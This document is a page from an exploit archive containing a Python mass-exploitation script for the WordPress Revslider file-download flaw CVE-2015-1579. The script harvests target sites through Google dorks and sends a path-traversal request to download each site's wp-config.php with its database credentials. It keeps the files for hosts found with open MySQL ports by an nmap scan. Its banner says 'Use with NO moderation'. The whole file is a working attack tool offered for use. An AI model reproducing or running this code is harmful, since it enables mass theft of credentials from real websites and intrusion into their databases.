4837 Total CVEs
26 Years
GitHub
README.md
Rendering markdown...
POC / wordpressCVE-2015-1579.py PY
#  Wordpress CVE-2015-1579 Mass Exploiter 2016 
#  Autor: T.W.A - Third World Attacker

# This mass exploiter is based on CVE-2015-1579, discovered by CLAUDIO VIVIANI (https://www.exploit-db.com/exploits/36554/)

# How it works:
#
#  1 - I use Selenium Framework to make the search on google.
#  2 - The results of search, are parsed and links are stored into wordpressAFD_results.txt file.
#  3 - The fuzzer() & download_wp_config() try download wp-config from all targets.

# Exemple of using the tool:
#  $ python wordpressCVE-2015-1579.py --dork='revslider.php "index of"'
#  $ python wordpressCVE-2015-1579.py --dork='revslider.php "index of"' --period=lastYear (See options for this parameter on --help)

# *OBS[1]: You can change the country of google search, the default is .com.br. BUT you won't be able to use --period parameter !!!*
# *OBS[2]: INSTALL ALL DEPENDENCYS: selenium, tqdm, python-nmap, docopt.. I don't remember all :D

# Any sugestions please contact me at: 
# Emails: [email protected] / [email protected]
# FB Profiles: https://www.facebook.com/profile.php?id=100010663787734 / https://www.facebook.com/profile.php?id=100006341171993 


"""
Usage: 
    wordpressCVE-2015-1579.py --dork=DORK [--period=Check help menu for list of options]
    wordpressCVE-2015-1579.py --help
    wordpressCVE-2015-1579.py --version


Options:
    -h --help             Open help menu.
    -v --version          Show scanner version.
    -d --dork='DORK'      your favorite g00gle dork :)
    -p --period='PERIOD'  lastYear
                          lastWeek
                          lastMonth
                          last24h
"""
from selenium import webdriver
from selenium.webdriver.common.keys import Keys
from selenium.webdriver.common.by import By
from selenium.webdriver.support.ui import WebDriverWait
from selenium.webdriver.support import expected_conditions as EC
from bs4 import BeautifulSoup
import time
import os
from urlparse import urlparse
import socket
import sys
import requests
from docopt import docopt, DocoptExit
from tqdm import tqdm
import nmap


list_of_targets = []
lista = []
target_list = []


class WordPressScanner:


    def search(self,dork,period):

        self.banner()
        print '[+] Starting g00gle search engine.. \n'
    
        # Config settings for driver of selenium
        driver = webdriver.Firefox()
        driver.wait = WebDriverWait(driver, 20)

        # Config of xpaths that will be used to make the search
        searchTools = "hdtb-tls"
        option_lastYear = "//li[contains(@id,'qdr_y')]"
        option_lastMonth = "//li[contains(@id,'qdr_m')]"
        option_lastWeek = "//li[contains(@id,'qdr_w')]"
        option_last24h = "//li[contains(@id,'qdr_d')]"
        botonAnyTime = "//div[contains(@class,'hdtb-mn-hd') and .//text()='Em qualquer data']"
        navigationBar = ".//*[@id='nav']"


        # Making the search

        # On this line: driver.get("https://www.google.com.br")
        # You can change the google domain, but the --period parameter will only works, if the google is .br
        # Ex: driver.get("https://www.google.ru")
        # So in this case, will bring all results, and can't be filtered using --period parameter.
        driver.get("https://www.google.com.br")
        search_bar = driver.find_element_by_name("q")
        search_bar.send_keys(dork)
        search_bar.send_keys(Keys.RETURN)
        if period:
            driver.wait.until(EC.presence_of_element_located((By.XPATH,navigationBar)))
            time.sleep(1)
            driver.wait.until(EC.presence_of_element_located((By.ID,searchTools))).click()
            time.sleep(2)
            driver.wait.until(EC.presence_of_element_located((By.XPATH,botonAnyTime))).click()
            time.sleep(2)
            if period == 'lastYear':
                driver.wait.until(EC.presence_of_element_located((By.XPATH,option_lastYear))).click()
            elif period == 'lastMonth':
                driver.wait.until(EC.presence_of_element_located((By.XPATH,option_lastMonth))).click()
            elif period == 'lastWeek':
                driver.wait.until(EC.presence_of_element_located((By.XPATH,option_lastWeek))).click()
            else:
                driver.wait.until(EC.presence_of_element_located((By.XPATH,option_last24h))).click()
        self.resultParser(driver)


    def resultParser(self,driver):
        global list_of_targets
        global lista
    
        print '[+] Starting parse search engine..'
        print '[+] Take a look at the screen to wait the captcha shows, and type it'
        print '[+] The default time to wait you type the captcha is 20s, but you can change it at line: driver.wait = WebDriverWait(driver, 20)'

        try:
            driver.wait.until(EC.presence_of_element_located((By.ID,"pnnext")))
            next_page = driver.find_element_by_id("pnnext")
        except:
            next_page = 'xxx'
            pass
        
        while next_page != None:
        
            html = driver.page_source
            soup = BeautifulSoup(html, "lxml")
            links = soup.find_all("a", {"href": True})
            for link in links:
                x = str(link).split("onmousedown")[0].split("\"")[1]
                if ('http://' in x) and ('google.com' not in x) and (x.split("?")[0] not in lista):
                    x = x.replace('&', '&')
                    lista.append(x.split("?")[0])
                    list_of_targets.append(x)         
            try:
                next_page = driver.find_element_by_id("pnnext")
                next_page.click()
                time.sleep(2)
                driver.wait.until(EC.presence_of_element_located((By.XPATH,".//*[@id='nav']")))
            except:
                break

        driver.close()
        print '[+] Removing duplicate targets.. \n'
        list_of_targets = set(list_of_targets)
        arq = open('wordpressAFD_results.txt','a')
        for i in list_of_targets:
            arq.write(i+'\n')
        arq.close()


    def fuzzer(self,url):
        global target_list
        urlp = urlparse(url)
        headers = {'User-Agent': 'Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:41.0) Gecko/20100101 Firefox/41.0'}
        wp_config = '/wp-admin/admin-ajax.php?action=revslider_show_image&img=../wp-config.php'
        url2 = urlp.scheme+'://'+urlp.netloc
        if urlp.netloc not in target_list:
            try:
                req = requests.get(url2,headers=headers,verify=False, timeout=10)
                try:
                    path = urlp.path
                    path = path.split('/wp-content')[0]+wp_config
                    url = urlp.scheme+'://'+urlp.netloc+path
                    print '[+] Trying target: '+url
                    self.download_wp_config(url)
                except:
                    print '\n'
                    pass
            except:
                pass

    def download_wp_config(self,url):
        urlp = urlparse(url)
        local_filename = urlp.netloc+'_'+url.split('/')[-1]
        headers = {'User-Agent': 'Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:41.0) Gecko/20100101 Firefox/41.0'}
        r = requests.get(url,headers=headers,verify=False,timeout=10,stream=True)
        with open(local_filename, 'wb') as f:
            for chunk in r.iter_content(chunk_size=1024):
                if chunk:
                    f.write(chunk)
        arq = open(local_filename,'r')
        if '<?php' not in arq.readline():
            arq.close()
            os.remove(local_filename)
            print '[-] Not vulnerable\n'
            target_list.append(urlp.netloc)
        else:
            print '[+] \033[31mVulnerable!!\033[33m wp-config downloaded..\033[39m'

            # All links of target that wp-config could be downloaded will be stored in allTargets.txt 

            arq = open('allTargets.txt','a+')
            arq.write(url+'\n')
            arq.close()
            ip = urlp.netloc
            ip = socket.gethostbyname(ip)
            nm = nmap.PortScanner()
            my_scan = nm.scan(ip,'3306-3307')

            # If the ports 3306 or 3307 is open, the links of target will be separeted in wordpressAFD_targets.txt

            if my_scan['scan'][ip]['tcp'][3306]['state'] == 'open':
                print '[+] Port 3306: '+'\033[32mOpen\033[39m'
                arq = open('wordpressAFD_targets.txt','a+')
                arq.write(url+'\n')
                arq.write(ip+'\n\n')
                arq.close()
                target_list.append(urlp.netloc)
            elif my_scan['scan'][ip]['tcp'][3306]['state'] == 'filtered':
                print '[+] Port 3306: '+'\033[33mFiltered\033[39m'
            else:
                print '[+] Port 3306: '+'\033[31mClosed\033[39m'

            if my_scan['scan'][ip]['tcp'][3307]['state'] == 'open':
                print '[+] Port 3307: '+'\033[32mOpen\033[39m\n'
                arq = open('wordpressAFD_targets.txt','a+')
                arq.write(url+'\n')
                arq.write(ip+'\n\n')
                arq.close()
                target_list.append(urlp.netloc)
            elif my_scan['scan'][ip]['tcp'][3307]['state'] == 'filtered':
                print '[+] Port 3307: '+'\033[33mFiltered\033[39m\n'
            else:
                print '[+] Port 3307: '+'\033[31mClosed\033[39m\n'

            # If bouth ports of the target are closed or filtered, the wp-config file will be removed, but the link of these targets are still
            # saved and stored into allTargets.txt. I'm just removing the wp-config file.

            if my_scan['scan'][ip]['tcp'][3306]['state'] == 'filtered' and my_scan['scan'][ip]['tcp'][3307]['state'] == 'filtered':
                os.remove(local_filename)
                target_list.append(urlp.netloc)
            if my_scan['scan'][ip]['tcp'][3306]['state'] == 'closed' and my_scan['scan'][ip]['tcp'][3307]['state'] == 'closed':
                os.remove(local_filename)
                target_list.append(urlp.netloc)
            if (my_scan['scan'][ip]['tcp'][3306]['state'] == 'closed' and my_scan['scan'][ip]['tcp'][3307]['state'] == 'filtered') or (my_scan['scan'][ip]['tcp'][3306]['state'] == 'filtered' and my_scan['scan'][ip]['tcp'][3307]['state'] == 'closed'):
                os.remove(local_filename)
                target_list.append(urlp.netloc)


    def banner(self):
        os.system('clear')
        print "\n"
        print "\033[32m\tMMP\"\"MM\"\"YMM `7MMF'     A     `7MF' db\"     " 
        print "\033[32m\tP'   MM   `7   `MA     ,MA     ,V  ;MM:     "
        print "\033[33m\t     MM         VM:   ,VVM:   ,V  ,V^MM.    "
        print "\033[33m\t     MM          MM.  M' MM.  M' ,M  `MM    "
        print "\033[33m\t     MM          `MM A'  `MM A'  AbmmmqMA   "
        print "\033[31m\t     MM           :MM;    :MM;  A'     VML  "
        print "\033[31m\t   .JMML.          VF      VF .AMA.   .AMMA.\033[39m"
        print "\t    TWA Corp. WP  Scan Version 0.1 - 2016"
        print "\t           Use with NO moderation :D"
        print "\t             Third World Attacker\n"

def main():
    count = 0
    myScan = WordPressScanner()
    try:
        arguments = docopt(__doc__, version="TWA Corp. Joomla RCE Scan Version 0.1 - 2016")
        dork = arguments['--dork']
        period = arguments['--period']
        if (period != None) and ((period != 'lastYear') and (period != 'lastMonth') and (period != 'lastWeek') and (period != 'last24h')):
            raise DocoptExit
        os.system('rm -rf wordpressAFD_results.txt')
        os.system('rm -rf wordpressAFD_targets.txt')
        os.system('rm -rf allTargets.txt')
        myScan.search(dork,period)
        print "[+] Start testing possible targets...\n"
        arq = open('wordpressAFD_results.txt','r')
        for i in arq.readlines():
            i = i.rstrip()
            myScan.fuzzer(i)
        
    except DocoptExit as e:
        myScan.banner()
        os.system('python wordpressCVE-2015-1579.py --help')
    

if __name__ == '__main__':
    main()